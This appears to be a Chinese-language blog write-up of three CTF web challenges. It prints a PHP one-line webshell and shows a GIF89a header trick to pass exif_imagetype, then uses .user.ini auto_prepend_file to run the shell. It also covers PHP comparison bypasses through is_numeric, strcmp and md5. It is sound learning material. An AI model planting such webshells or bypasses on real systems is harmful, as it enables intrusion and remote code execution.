[SUCTF 2019]CheckIn
打开题目:
看见文件上传尝试上传一句话木马
发现不能上传,于是抓包上传图片木马
发现不能有<?
想到之前做的phtml文件上传用的木马
<script language='php'>@eval($_POST['a']);</script>
上传后回显 exif_imagetype:not image!
exif_imagetype函数我记得是一个判断数据类型的函数
网上搜到exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。
JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
GIF:47 49 46 38 39 61(ascll值是GIF89a)
PNG: 89 50 4E 47
所以在木马前面加一个GIF89a就行了
然后就是想怎么执行这个图片码了
先试试上面一题的方法看看能不能上传.htaccess文件
上传后发现也要加个GIF89a
上传成功后进行利用发现没有用
还是老老实实用.user.ini
上传.user.ini文件
GIF89a auto_prepend_file=1.jpg
然后上传图片木马
1.jpg
GIF89a <script language='php'>eval($_POST['cmd']);</script>
利用蚁剑连接
一直失败,搞了会放弃了
还是直接使用harkbar利用吧
感觉蚁剑应该是炸了
出现flag
[极客大挑战 2019]BuyFlag
打开题目
没看到什么信息在旁边的菜单界面看到flag
居然要我好多w才给我flag
页面没啥信息直接f12了
~~~post money and password~~~ if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be number</br>"; }elseif ($password == 404) { echo "Password Right!</br>"; } }
查了查is_numeric()这个函数,他的作用是判断输入的是否是数字,是的话才会返回true
所以不能输入纯数字了
网上查了下这个漏洞
这个函数和mysql结合起来就容易出问题,那是因为is_numeric判断的时候,当碰到16进制数的时候,也会判断成数字
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!
原文链接:[PHP安全特性学习]is_numeric()函数安全漏洞_笑花大王的博客-CSDN博客
加个空格就行了
还是没出来flag
应该是1000000000money没有满足
但也没找到充值界面
可能是还有一个参数
直接加上money=100000000
还是没有反应
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
才看到这条消息
必须是CUIT的学生,找了半天也没找到登录界面
最后还是看了网上的writeup才知道在cookie值里
直接把0改成1就行了
问题又来了,限制长度了
看网上的师傅说是strcmp函数的原因,查了查这个函数的漏洞
在PHP5.3之前,传入数据的类型是字符串类型,这个函数在数据类型不匹配的时候会返回0, 函数就会发生错误,显示报错信息后会return 0 所以漏洞就出现在了这里。
报错返回值是0和匹配成功是一样的,我直接把money改成数组,随便输了几个字母
终于出来了QAQ
[BJDCTF2020]Easy MD5
打开题目只有一个输入框和提交,应该是个sql注入题
没啥信息还是f12
源码里也没啥东西,想着看看cookie值
提示直接在响应头里
看来是用到了md5函数
接下来就在想怎么拼接成他给的password
网上搜了一下md5函数的漏洞,ffifdyop字符串验证出来后有'or'6的结构
直接输入ffifdyop进入下一个页面
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
查看源码
根据这个代码判断a不等于b但是md5加密以后要相等
傻傻的搜了波MD5加密前不相同加密后相同的可能性
其实md5转换后只要是0e开头,弱类型比较会认为是科学计数法,但是0e开头无论后面是什么,都等于0
<?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
跳转新页面
和上面一样的条件,但这次md5的比较用的===不能进行碰撞了
捣鼓了很久,发现网上的师傅直接用的数组绕过,又长知识了